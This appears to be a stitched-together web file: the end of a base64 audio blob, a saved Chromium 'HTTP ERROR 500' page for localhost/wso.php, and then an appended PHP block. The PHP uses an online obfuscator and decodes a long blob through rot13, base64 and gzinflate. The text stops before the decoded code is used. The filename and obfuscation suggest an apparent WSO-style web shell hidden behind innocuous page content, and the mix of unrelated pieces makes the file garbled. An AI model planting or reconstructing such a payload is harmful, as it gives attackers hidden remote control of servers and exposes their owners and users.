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"></audio>
</template>
</div>
<script jstcache="0">(function(){function l(a,b,c){return Function.prototype.call.apply(Array.prototype.slice,arguments)}function m(a,b,c){var e=l(arguments,2);return function(){return b.apply(a,e)}}function n(a,b){var c=new p(b);for(c.h=[a];c.h.length;){var e=c,d=c.h.shift();e.i(d);for(d=d.firstChild;d;d=d.nextSibling)1==d.nodeType&&e.h.push(d)}}function p(a){this.i=a}function q(a){a.style.display=""}function r(a){a.style.display="none"};var t=/\s*;\s*/;function u(a,b){this.l.apply(this,arguments)}u.prototype.l=function(a,b){this.a||(this.a={});if(b){var c=this.a,e=b.a;for(d in e)c[d]=e[d]}else{var d=this.a;e=v;for(c in e)d[c]=e[c]}this.a.$this=a;this.a.$context=this;this.f="undefined"!=typeof a&&null!=a?a:"";b||(this.a.$top=this.f)};var v={$default:null},w=[];function x(a){for(var b in a.a)delete a.a[b];a.f=null;w.push(a)}function y(a,b,c){try{return b.call(c,a.a,a.f)}catch(e){return v.$default}}
u.prototype.clone=function(a,b,c){if(0<w.length){var e=w.pop();u.call(e,a,this);a=e}else a=new u(a,this);a.a.$index=b;a.a.$count=c;return a};var z;window.trustedTypes&&(z=trustedTypes.createPolicy("jstemplate",{createScript:function(a){return a}}));var A={};function B(a){if(!A[a])try{var b="(function(a_, b_) { with (a_) with (b_) return "+a+" })",c=window.trustedTypes?z.createScript(b):b;A[a]=window.eval(c)}catch(e){}return A[a]}
function E(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c){var d=a[c].indexOf(":");if(!(0>d)){var g=a[c].substr(0,d).replace(/^\s+/,"").replace(/\s+$/,"");d=B(a[c].substr(d+1));b.push(g,d)}}return b};function F(){}var G=0,H={0:{}},I={},J={},K=[];function L(a){a.__jstcache||n(a,function(b){M(b)})}var N=[["jsselect",B],["jsdisplay",B],["jsvalues",E],["jsvars",E],["jseval",function(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c)if(a[c]){var d=B(a[c]);b.push(d)}return b}],["transclude",function(a){return a}],["jscontent",B],["jsskip",B]];
function M(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");if(null!=b)return a.__jstcache=H[b];b=K.length=0;for(var c=N.length;b<c;++b){var e=N[b][0],d=a.getAttribute(e);J[e]=d;null!=d&&K.push(e+"="+d)}if(0==K.length)return a.setAttribute("jstcache","0"),a.__jstcache=H[0];var g=K.join("&");if(b=I[g])return a.setAttribute("jstcache",b),a.__jstcache=H[b];var h={};b=0;for(c=N.length;b<c;++b){d=N[b];e=d[0];var f=d[1];d=J[e];null!=d&&(h[e]=f(d))}b=""+ ++G;a.setAttribute("jstcache",
b);H[b]=h;I[g]=b;return a.__jstcache=h}function P(a,b){a.j.push(b);a.o.push(0)}function Q(a){return a.c.length?a.c.pop():[]}
F.prototype.g=function(a,b){var c=R(b),e=c.transclude;if(e)(c=S(e))?(b.parentNode.replaceChild(c,b),e=Q(this),e.push(this.g,a,c),P(this,e)):b.parentNode.removeChild(b);else if(c=c.jsselect){c=y(a,c,b);var d=b.getAttribute("jsinstance");var g=!1;d&&("*"==d.charAt(0)?(d=parseInt(d.substr(1),10),g=!0):d=parseInt(d,10));var h=null!=c&&"object"==typeof c&&"number"==typeof c.length;e=h?c.length:1;var f=h&&0==e;if(h)if(f)d?b.parentNode.removeChild(b):(b.setAttribute("jsinstance","*0"),r(b));else if(q(b),
null===d||""===d||g&&d<e-1){g=Q(this);d=d||0;for(h=e-1;d<h;++d){var k=b.cloneNode(!0);b.parentNode.insertBefore(k,b);T(k,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,k,x,f,null)}T(b,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,b,x,f,null);P(this,g)}else d<e?(g=c[d],T(b,c,d),f=a.clone(g,d,e),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g)):b.parentNode.removeChild(b);else null==c?r(b):(q(b),f=a.clone(c,0,1),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g))}else this.b(a,b)};
F.prototype.b=function(a,b){var c=R(b),e=c.jsdisplay;if(e){if(!y(a,e,b)){r(b);return}q(b)}if(e=c.jsvars)for(var d=0,g=e.length;d<g;d+=2){var h=e[d],f=y(a,e[d+1],b);a.a[h]=f}if(e=c.jsvalues)for(d=0,g=e.length;d<g;d+=2)if(f=e[d],h=y(a,e[d+1],b),"$"==f.charAt(0))a.a[f]=h;else if("."==f.charAt(0)){f=f.substr(1).split(".");for(var k=b,O=f.length,C=0,U=O-1;C<U;++C){var D=f[C];k[D]||(k[D]={});k=k[D]}k[f[O-1]]=h}else f&&("boolean"==typeof h?h?b.setAttribute(f,f):b.removeAttribute(f):b.setAttribute(f,""+h));
if(e=c.jseval)for(d=0,g=e.length;d<g;++d)y(a,e[d],b);e=c.jsskip;if(!e||!y(a,e,b))if(c=c.jscontent){if(c=""+y(a,c,b),b.innerHTML!=c){for(;b.firstChild;)e=b.firstChild,e.parentNode.removeChild(e);b.appendChild(this.m.createTextNode(c))}}else{c=Q(this);for(e=b.firstChild;e;e=e.nextSibling)1==e.nodeType&&c.push(this.g,a,e);c.length&&P(this,c)}};function R(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");return b?a.__jstcache=H[b]:M(a)}
function S(a,b){var c=document;if(b){var e=c.getElementById(a);if(!e){e=b();var d=c.getElementById("jsts");d||(d=c.createElement("div"),d.id="jsts",r(d),d.style.position="absolute",c.body.appendChild(d));var g=c.createElement("div");d.appendChild(g);g.innerHTML=e;e=c.getElementById(a)}c=e}else c=c.getElementById(a);return c?(L(c),c=c.cloneNode(!0),c.removeAttribute("id"),c):null}function T(a,b,c){c==b.length-1?a.setAttribute("jsinstance","*"+c):a.setAttribute("jsinstance",""+c)};window.jstGetTemplate=S;window.JsEvalContext=u;window.jstProcess=function(a,b){var c=new F;L(b);c.m=b?9==b.nodeType?b:b.ownerDocument||document:document;var e=m(c,c.g,a,b),d=c.j=[],g=c.o=[];c.c=[];e();for(var h,f,k;d.length;)h=d[d.length-1],e=g[g.length-1],e>=h.length?(e=c,f=d.pop(),f.length=0,e.c.push(f),g.pop()):(f=h[e++],k=h[e++],h=h[e++],g[g.length-1]=e,f.call(c,k,h))};
})()</script><script jstcache="0">// Copyright 2012 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @fileoverview
* NOTE: This file is deprecated, and provides only the minimal LoadTimeData
* functions for places in the code still not using JS modules. Use
* load_time_data.m.js in all new code.
*
* This file defines a singleton which provides access to all data
* that is available as soon as the page's resources are loaded (before DOM
* content has finished loading). This data includes both localized strings and
* any data that is important to have ready from a very early stage (e.g. things
* that must be displayed right away).
*
* Note that loadTimeData is not guaranteed to be consistent between page
* refreshes (https://crbug.com/740629) and should not contain values that might
* change if the page is re-opened later.
*/
/** @type {!LoadTimeData} */
// eslint-disable-next-line no-var
var loadTimeData;
class LoadTimeData {
constructor() {
/** @type {?Object} */
this.data_ = null;
}
/**
* Sets the backing object.
*
* Note that there is no getter for |data_| to discourage abuse of the form:
*
* var value = loadTimeData.data()['key'];
*
* @param {Object} value The de-serialized page data.
*/
set data(value) {
expect(!this.data_, 'Re-setting data.');
this.data_ = value;
}
/**
* @param {string} id An ID of a value that might exist.
* @return {boolean} True if |id| is a key in the dictionary.
*/
valueExists(id) {
return id in this.data_;
}
/**
* Fetches a value, expecting that it exists.
* @param {string} id The key that identifies the desired value.
* @return {*} The corresponding value.
*/
getValue(id) {
expect(this.data_, 'No data. Did you remember to include strings.js?');
const value = this.data_[id];
expect(typeof value !== 'undefined', 'Could not find value for ' + id);
return value;
}
/**
* As above, but also makes sure that the value is a string.
* @param {string} id The key that identifies the desired string.
* @return {string} The corresponding string value.
*/
getString(id) {
const value = this.getValue(id);
expectIsType(id, value, 'string');
return /** @type {string} */ (value);
}
/**
* Returns a formatted localized string where $1 to $9 are replaced by the
* second to the tenth argument.
* @param {string} id The ID of the string we want.
* @param {...(string|number)} var_args The extra values to include in the
* formatted output.
* @return {string} The formatted string.
*/
getStringF(id, var_args) {
const value = this.getString(id);
if (!value) {
return '';
}
const args = Array.prototype.slice.call(arguments);
args[0] = value;
return this.substituteString.apply(this, args);
}
/**
* Returns a formatted localized string where $1 to $9 are replaced by the
* second to the tenth argument. Any standalone $ signs must be escaped as
* $$.
* @param {string} label The label to substitute through.
* This is not an resource ID.
* @param {...(string|number)} var_args The extra values to include in the
* formatted output.
* @return {string} The formatted string.
*/
substituteString(label, var_args) {
const varArgs = arguments;
return label.replace(/\$(.|$|\n)/g, function(m) {
expect(m.match(/\$[$1-9]/), 'Unescaped $ found in localized string.');
return m === '$$' ? '$' : varArgs[m[1]];
});
}
/**
* As above, but also makes sure that the value is a boolean.
* @param {string} id The key that identifies the desired boolean.
* @return {boolean} The corresponding boolean value.
*/
getBoolean(id) {
const value = this.getValue(id);
expectIsType(id, value, 'boolean');
return /** @type {boolean} */ (value);
}
/**
* As above, but also makes sure that the value is an integer.
* @param {string} id The key that identifies the desired number.
* @return {number} The corresponding number value.
*/
getInteger(id) {
const value = this.getValue(id);
expectIsType(id, value, 'number');
expect(value === Math.floor(value), 'Number isn\'t integer: ' + value);
return /** @type {number} */ (value);
}
/**
* Override values in loadTimeData with the values found in |replacements|.
* @param {Object} replacements The dictionary object of keys to replace.
*/
overrideValues(replacements) {
expect(
typeof replacements === 'object',
'Replacements must be a dictionary object.');
for (const key in replacements) {
this.data_[key] = replacements[key];
}
}
}
/**
* Checks condition, throws error message if expectation fails.
* @param {*} condition The condition to check for truthiness.
* @param {string} message The message to display if the check fails.
*/
function expect(condition, message) {
if (!condition) {
throw new Error(
'Unexpected condition on ' + document.location.href + ': ' + message);
}
}
/**
* Checks that the given value has the given type.
* @param {string} id The id of the value (only used for error message).
* @param {*} value The value to check the type on.
* @param {string} type The type we expect |value| to be.
*/
function expectIsType(id, value, type) {
expect(
typeof value === type, '[' + value + '] (' + id + ') is not a ' + type);
}
expect(!loadTimeData, 'should only include this file once');
loadTimeData = new LoadTimeData();
// Expose |loadTimeData| directly on |window|, since within a JS module the
// scope is local and not all files have been updated to import the exported
// |loadTimeData| explicitly.
window.loadTimeData = loadTimeData;
console.warn('crbug/1173575, non-JS module files deprecated.');
</script><script jstcache="0">const pageData = {"details":"Details","errorCode":"HTTP ERROR 500","fontfamily":"\"sans\", Arial, sans-serif","fontsize":"75%","heading":{"hostName":"localhost","msg":"This page isn’t working"},"hideDetails":"Hide details","iconClass":"icon-generic","language":"en","reloadButton":{"msg":"Reload","reloadUrl":"http://localhost/wso.php"},"suggestionsDetails":[],"suggestionsSummaryList":[],"summary":{"failedUrl":"http://localhost/wso.php","hostName":"localhost","msg":"\u003Cstrong jscontent=\"hostName\">\u003C/strong> is currently unable to handle this request."},"textdirection":"ltr","title":"localhost"};loadTimeData.data = pageData;var tp = document.getElementById('t');jstProcess(new JsEvalContext(pageData), tp);</script></body></html>
<?php
$i1i='========================================================================
Obfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator
http://www.ud64.com/
==============================================================================';
$uD64_c0m="\163\164\x72\x5f\162\x6f\164"."13";$uD64_Com="\147\x7a\151\x6e\x66\x6c\141\164\x65";$uD64_C0m="\142\x61\x73\14564\x5f\x64\x65\143o\144\145";$x0zRy=$uD64_Com($uD64_C0m($uD64_c0m("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